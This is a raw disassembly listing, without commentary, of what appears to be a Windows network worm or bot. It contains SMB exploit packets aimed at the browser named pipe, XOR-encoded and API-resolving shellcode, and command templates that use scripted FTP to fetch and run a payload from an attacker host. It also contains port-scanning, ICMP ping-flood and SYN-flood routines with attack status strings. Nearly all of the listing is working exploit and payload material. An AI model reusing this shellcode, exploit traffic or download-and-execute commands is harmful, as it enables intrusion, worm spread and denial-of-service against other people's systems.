aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 8
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		dd 3 dup(0)
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 10h
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		align 10h
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 4
dword_4458A8	dd 10FF8h, 0	dword_4458B0	dd 10FF8h	dword_4458B4	dd 7FFDF020h, 0	dword_4458BC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445944	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_445974	dd 0		dword_445978	dd 800000D4h			align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445980	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A7C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A92
		mov	[esi+8], eax
		call	sub_445A45
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A92
		mov	[esi+0Ch], eax
		call	sub_4459F7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A92
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445980	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459F7	proc near		; CODE XREF: sub_445980+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A20
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A20	proc near		; CODE XREF: sub_4459F7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A2F:				; CODE XREF: sub_445A20+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A3C
		inc	ebx
		jmp	short loc_445A2F
; ---------------------------------------------------------------------------


loc_445A3C:				; CODE XREF: sub_445A20+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A45	proc near		; CODE XREF: sub_445980+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A5D:				; CODE XREF: sub_445A45+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A65
		mov	ecx, [ecx]
		jmp	short loc_445A5D
; ---------------------------------------------------------------------------


loc_445A65:				; CODE XREF: sub_445A45+1Aj
		mov	edx, edi


loc_445A67:				; CODE XREF: sub_445A45+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A71
		mov	edx, [edx+4]
		jmp	short loc_445A67
; ---------------------------------------------------------------------------


loc_445A71:				; CODE XREF: sub_445A45+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A45	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A7C	proc near		; CODE XREF: sub_445980+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A92	proc near		; CODE XREF: sub_445980+16p
					; sub_445980+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA8:				; CODE XREF: sub_445A92+33j
		jecxz	short loc_445AE2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AB5:				; CODE XREF: sub_445A92+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AC1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AB5
; ---------------------------------------------------------------------------


loc_445AC1:				; CODE XREF: sub_445A92+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445AE2:				; CODE XREF: sub_445A92:loc_445AA8j
					; sub_445A92:loc_445AE2j
		jmp	short loc_445AE2
sub_445A92	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_445AE8	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B3A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445B05:				; CODE XREF: sub_445AE8+38j
		jecxz	short loc_445B35
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B10:				; CODE XREF: sub_445AE8+32j
		lodsb
		test	al, al
		jz	short loc_445B1C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B10
; ---------------------------------------------------------------------------


loc_445B1C:				; CODE XREF: sub_445AE8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445B05
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B35:				; CODE XREF: sub_445AE8:loc_445B05j
		mov	[esp+arg_0], ebx
		retn
sub_445AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B3A	proc near		; CODE XREF: sub_445AE8+7p

; FUNCTION CHUNK AT 00445B72 SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B53
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B5E
; ---------------------------------------------------------------------------


loc_445B53:				; CODE XREF: sub_445B3A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B5E:				; CODE XREF: sub_445B3A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B72
sub_445B3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B65	proc near		; CODE XREF: sub_445B3A:loc_445B72p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B65	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B3A


loc_445B72:				; CODE XREF: sub_445B3A+29j
		call	sub_445B65
; END OF FUNCTION CHUNK	FOR sub_445B3A
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C0C	dd 23h		dword_445C10	dd 60h		dword_445C14	dd 62B0606h, 2050501h, 0A0hdword_445C20	dd 0A1h		dword_445C24	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 10h


loc_445C30:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C38
; ---------------------------------------------------------------------------
		align 8
dword_445C38	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CF2

; =============== S U B	R O U T	I N E =======================================



sub_445CE2	proc far		; CODE XREF: sub_445CE2:loc_445CF2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CEA:				; CODE XREF: sub_445CE2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CEA
		jmp	short loc_445CF7
; ---------------------------------------------------------------------------


loc_445CF2:				; CODE XREF: ___:00445CE0j
		call	near ptr sub_445CE2


loc_445CF7:				; CODE XREF: sub_445CE2+Ej
		jo	short loc_445D5B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D79
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D5B:				; CODE XREF: sub_445CE2:loc_445CF7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D79:				; CODE XREF: sub_445CE2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E20:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E32

; =============== S U B	R O U T	I N E =======================================



sub_445E22	proc near		; CODE XREF: sub_445E22:loc_445E32p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E2A:				; CODE XREF: sub_445E22+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E2A
		jmp	short loc_445E37
; ---------------------------------------------------------------------------


loc_445E32:				; CODE XREF: ___:loc_445E20j
		call	sub_445E22


loc_445E37:				; CODE XREF: sub_445E22+Ej
		jo	short near ptr dword_445DB0+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445ED0	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446044	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_4460F0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461D0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_446227	dd 3F000000h	dword_44622B	dd 3F3F3F3Fh	byte_44622F	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_446234	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4462A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446344	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463C4	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446458	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464C4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446538	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465C4	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467AC	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 10h
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		dd 2 dup(0)
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 4
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 10h
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 10h
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 8
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 10h
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 10h
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 4
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 8
dword_4468F8	dd 6EB06EBh			align 10h
dword_446900	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_44690C	dd 1CEC8166h	dword_446910	dd 0E4FF07h			align 8
dword_446918	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446964	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_446994	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469B4	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469BE:				; CODE XREF: ___:004469C8j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469BE
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 10h
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 10h
word_446C20	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C24	dd 215h				dd 0
dword_446C2C	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C34:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C38
; ---------------------------------------------------------------------------


loc_446C36:				; CODE XREF: ___:loc_446C38p
		jmp	short loc_446C3D
; ---------------------------------------------------------------------------


loc_446C38:				; CODE XREF: ___:loc_446C34j
		call	loc_446C36


loc_446C3D:				; CODE XREF: ___:loc_446C36j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C42	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C47	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C4C:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C50
; ---------------------------------------------------------------------------


loc_446C4E:				; CODE XREF: ___:loc_446C50p
		jmp	short loc_446C55
; ---------------------------------------------------------------------------


loc_446C50:				; CODE XREF: ___:loc_446C4Cj
		call	loc_446C4E


loc_446C55:				; CODE XREF: ___:loc_446C4Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C59	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C5D	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C64	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC8	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD8	dd 74656720h	byte_446CDC	db 20h			; DATA XREF: sub_426560+A2r
dword_446CDD	dd 0E8006A00h	dword_446CE1	dd 17h							; sub_426560+D2r
dword_446CE5	dd 0E8C30175h	dword_446CE9	dd 1							; sub_426560+E7r
byte_446CED	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CF7	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 10h
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 10h
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 8
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 4
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 10h
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
